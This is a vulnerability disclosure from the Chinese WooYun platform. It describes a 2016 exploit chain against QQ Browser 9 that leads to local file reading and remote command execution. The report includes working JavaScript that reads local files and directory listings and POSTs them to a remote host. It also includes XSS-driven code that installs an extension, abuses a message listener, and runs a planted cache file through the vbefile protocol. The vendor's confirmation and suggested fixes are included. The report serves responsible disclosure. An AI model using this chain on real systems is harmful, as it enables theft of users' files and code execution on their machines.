当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176314

漏洞标题:QQ浏览器9本地文件读取&远程命令执行

相关厂商:腾讯

漏洞作者: gainover

提交时间:2016-02-17 08:56

修复时间:2016-05-17 15:10

公开时间:2016-05-17 15:10

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

新年快乐

详细说明:

QQ浏览器最新版本,版本:9.3.6581.400
1. 老外在一个avast的漏洞(https://**.**.**.**/p/chromium/codesearch#chromium/src/chrome/browser/devtools/devtools_ui_**.**.**.**&sq=package:chromium&type=cs&l=638)里提到了chrome-devtools的一个本地文件读取的漏洞(情报来自@sogili(长短短))
拿老外的PoC来试试?QQ浏览器打开下面的URL:
chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true
这个会加载一个外部的js
https://**.**.**.**/screencast_module.js
screencast_module.js 代码如下:

var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/111.txt", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);


可以看到利用 DevToolsAPI,可以向外出容器发送消息,消息类型为 loadNetworkResource,通过这个,可以读取本地文件内容。如下图所示:

qq1.jpg


不仅仅是读文件内容,利用这个,还可以读取目录下的文件列表,像这样

var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);


如下图所示:

qq2.png


因此,只要让QQ浏览器打开这个页面,我们就可以遍历本地文件内容,并读取发送至远程服务器上。
2. 如何让QQ浏览器打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true 这个地址呢?
常规的location.href,window.open应该是都不行的,会被安全限制。比如:提示Not allowed to load local resource,或打开页面是空白等措施。
怎么破?这里直接先列出思路。

a. 子域.**.**.**.** XSS -> iframe -> 子域.browser.**.**.**.** (该页面的domain要求为**.**.**.**)
b. 调用子域.browser.**.**.**.**里的chrome.management.install API 安装插件“手机助手”
c. 插件安装成功后,利用子域.**.**.**.** XSS -> chrome.runtime.sendMessage 向“手机助手”发送消息, --> 手机助手接受消息 打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true


3. 我们来一步一步实现上面的步骤,首先是一个子域的XSS
http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-alert.php

qq3.png


4. 找到一个子域.browser.**.**.**.**,因为browser.**.**.**.**及其子域有使用chrome.management.install的权限。
http://event.browser.**.**.**.**/stdl/miyue/index.html
如下图所示:

qq4.png


5. 用子域.**.**.**.**的XSS调用子域.browser.**.**.**.**的chrome.management.install实现插件安装,利用代码如下:
qq-xss-install.php

<?php
header("Access-Control-Allow-Headers: x-requested-with");
header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){console.log(arguments)})
}
document.body.appendChild(f);
</script>


访问下面的地址:
http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install.php
如下图所示,手机助手将会被安装。

qq5.png


6. 在手机助手安装完成后,我们就可以使用chrome.runtime.sendMessage来发送消息,

chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});


修改步骤5里的代码,在安装完成的回调里添加以上代码。
qq-xss-install-2.php

<?php
header("Access-Control-Allow-Headers: x-requested-with");
header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){
console.log(arguments);
setTimeout(function(){
chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});
},2000);
})
}
document.body.appendChild(f);
</script>


访问:http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install-2.php
等待插件被安装完成后,就会打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true
如下图所示:

qq6.jpg


7. 为啥向“手机助手”发送消息可以打开指定的页面?
查看手机助手扩展里的message.js,里面存在如下代码:

chrome.runtime.onMessageExternal.addListener(function(e,t,o){var a=t.tab.id;"jump"===e.cmd&&(e.isNewOpen?chrome.tabs.create({url:e.target}):chrome.tabs.update(a,{url:e.target}),o({error:0}))})


在扩展里定义了onMessageExternal的listner,这使得插件可以接受外部扩展的消息。所以我们可以构造恶意的消息,发送给该扩展,从而打开我们指定的页面。
----------------------------------------
*** 分割线,从文件读取到命令执行 ***
----------------------------------------
1. 首先还是列一下思路

a. 访问http://**.**.**.**/test/all/cache.php,让浏览器生成一个恶意的缓存文件
b. 通过上面的文件读取,读取c:/users/下的用户名列表,找到当前用户的用户名
c. 得到浏览器的缓存目录C:\Users\用户名\AppData\Local\Tencent\QQBrowser\User Data\Default\Cache
d. 通过上面的文件读取,得到缓存目录下的文件列表,得到浏览器刚生成的缓存文件名称
e. 通过 location.href='vbefile:/../../../../../../../../../../Users/用户名/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/缓存文件名" //E:jscript //B "' 来执行恶意缓存文件


2. 首先是获得c:/users/下的用户列表

function getUsers(){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users", "", 0 ],
function (result) {
var users=data.match(/<script>addRow\("([^"]+)"/g)||[];
var currentUser=[];
for(var i=0;i<users.length;i++){
var user=(users[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
if(["..","All Users","Default","Default User","Public","UpdatusUser","desktop.ini"].indexOf(user)==-1){
currentUser.push(user);
}
}
console.log(currentUser);
}
);
}


3. 然后是读取缓存文件列表

function getCaches(User){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users/"+User+"/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/", "", 0 ],
function (result) {
//console.log(data);
var cachesData=data.match(/<script>addRow\("([^"]+)"/g)||[];
console.log(cachesData.length);
var caches=[];
for(var i=0;i<cachesData.length;i++){
var cache=(cachesData[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
if(cache!=".."){
caches.push(cache);
}
}
console.log(caches);
}
);
}


4. 创建恶意缓存

var img=new Image();
img.onerror=function(){
//缓存加载完毕的回调
};
img.src="http://**.**.**.**/test/all/cache.php?"+Math.random();


5. 然后是所有代码串起来。
首先是得到用户名,这里假定只有一个用户,如果有多个用户,可以循环尝试每个用户。
然后是得到缓存文件列表,
然后创建恶意缓存,
然后再得到一次缓存文件列表,
对比2个列表,就可以得到缓存文件名。
然后执行缓存文件名。

测试代码见测试代码区域


效果如下,可以看到得到的缓存文件名,然后缓存被执行。

qq7.jpg


漏洞证明:

win7
访问 漏洞测试页(见测试代码里的地址)
会跳转至 **.**.**.**
加载 http://**.**.**.**/stdl/miyue/index.html
安装“手机助手”扩展, 这个可能需要下载一小会并自动安装,
安装成功后,就会打开
chrome-devtools://devtools/ 下的页面
进而执行“详细说明”里的流程

qq8.png

修复方案:

1. 浏览器调用外部协议时,增加用户交互提示,见 http://**.**.**.**/test/all/readme.htm
2. 手机助手扩展里的,接受消息后,对需要打开的url进行判断。
3. 修复 **.**.**.** XSS
4. 降低chrome.management.install的作用范围。
5. 更新chrome-devtools(我也不知道有没有更新补丁,或者自行更改devtools里的相关JS代码)

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-02-17 15:02

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无